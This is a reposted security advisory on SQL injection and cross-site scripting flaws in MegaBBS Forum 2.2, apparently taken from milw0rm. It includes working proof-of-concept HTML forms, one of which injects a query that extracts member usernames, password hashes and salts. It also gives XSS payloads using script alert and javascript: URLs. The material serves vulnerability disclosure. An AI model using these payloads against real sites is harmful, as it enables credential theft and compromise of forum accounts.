megabbs forum 2.2 (sql/xss) Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
MegaBBS Forum 2.2 Vulnerabilities: SQL Injection & XS

                                                ########################## www.BugReport.ir #######################################
#
#      AmnPardaz Security Research Team
#
# Title: MegaBBS Forum Multiple Vulnerabilities.
# Vendor: http://www.pd9soft.com/
# Vulnerable Version: 2.2
# Exploit: Available
# Impact: Medium
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/37
###################################################################################


####################
1. Description:
####################
A complete, fully featured ASP website system. Includes an extremely powerful forum, calendars, polls, and photo albums. Best of all, it&#39;s completely free! Find out why MegaBBS is one of the fastest growing ASP messaging portals available today.

####################
2. Vulnerability:
####################
    2.1. There is a SQL Injection in &#34;/forums/attach-file.asp&#34; in &#34;attachmentid&#34; parameter.
        2.1.1. POC:
                Check the Exploit/POC section.
    2.3. There is a XSS in &#34;/admin/impersonate.asp&#34;.
        2.3.1. POC:
                /admin/impersonate.asp?redirect=javascript:alert(&#39;XSS&#39;)&action=end
    2.2. There is a SQL Injection in &#34;/profile/controlpanel.asp&#34; in &#34;invisible&#34; and &#34;timeoffset&#34; parameters.
        2.2.1. POC:
                Check the Exploit/POC section.
    2.4. There is a XSS in &#34;send-private-message.asp&#34;. This XSS needs authentication.
        2.4.1. POC:
                Check the Exploit/POC section.
####################
3. Exploits/POC:
####################

 Original Exploit URL: http://bugreport.ir/index.php?/37/exploit

    3.1. &#34;/forums/attach-file.asp&#34; SQL Inection POC:
     -------------
        &#60;form ENCTYPE=&#34;multipart/form-data&#34; method=&#34;post&#34; action=&#34;http://[Site URL]/forums/attach-file.asp?action=postupload&amp;mid=[YOUR MSG ID]&amp;attachmentid=1 or 1=convert(int,(select top 1 username%2bpassword%2bsalt from members where username&#60;&#62;&#39;&#39;))&#34;&#62;
        File : &#60;input type=&#39;file&#39; name=&#39;attachment&#39; size=&#39;40&#39;&#62;
        &#60;br /&#62;
        &#60;input type=&#39;submit&#39; value=&#39;Submit&#39;&#62;
        &#60;/form&#62;
    -------------
    3.2. &#34;/profile/controlpanel.asp&#34; SQL Injection POC:
    -------------
        &#60;form method=&#39;post&#39; name=&#39;updateprofile&#39; action=&#39;http://[Site URL]/profile/controlpanel.asp&#39;&#62;
        Injection1 (Numeric Update):&#60;input type=&#34;text&#34; name=&#34;invisible&#34; value=&#34;1&#34; /&#62;
        &#60;br /&#62;
        Injection2 (Numeric Update):&#60;input type=&#34;text&#34; name=&#34;timeoffset&#34; value=&#34;1&#34; /&#62;
        &#60;br /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;updateinfo&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;showemail&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;usesignature&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;viewsignature&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;disablepostcount&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;userichedit&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;emailnotifications&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;sendprivatenotifications&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;includebody&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;language&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;disallowbroadcasts&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;viewavatars&#34; value=&#34;1&#34; /&#62;
        &#60;input type=&#34;submit&#34; /&#62;
        &#60;/form&#62;
    -------------
    3.3. &#34;send-private-message.asp&#34; XSS POC:
    -------------
        &#60;form action=&#34;http://[Site URL]/send-private-message.asp&#34; method=&#34;post&#34;&#62;
        &#60;input type=&#34;hidden&#34; name=&#34;action&#34; value=&#34;post&#34; /&#62;
        &#60;input type=&#34;text&#34; name=&#34;toid&#34; value=&#34;&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62;&#34; /&#62;
        &#60;br /&#62;
        &#60;input type=&#34;submit&#34; name=&#34;&#34; value=&#34;submit&#34; /&#62;
        &#60;/form&#62;
    -------------

####################
4. Solution:
####################
    Edit the source code to ensure that inputs are properly sanitised.
####################
- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-04-27]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1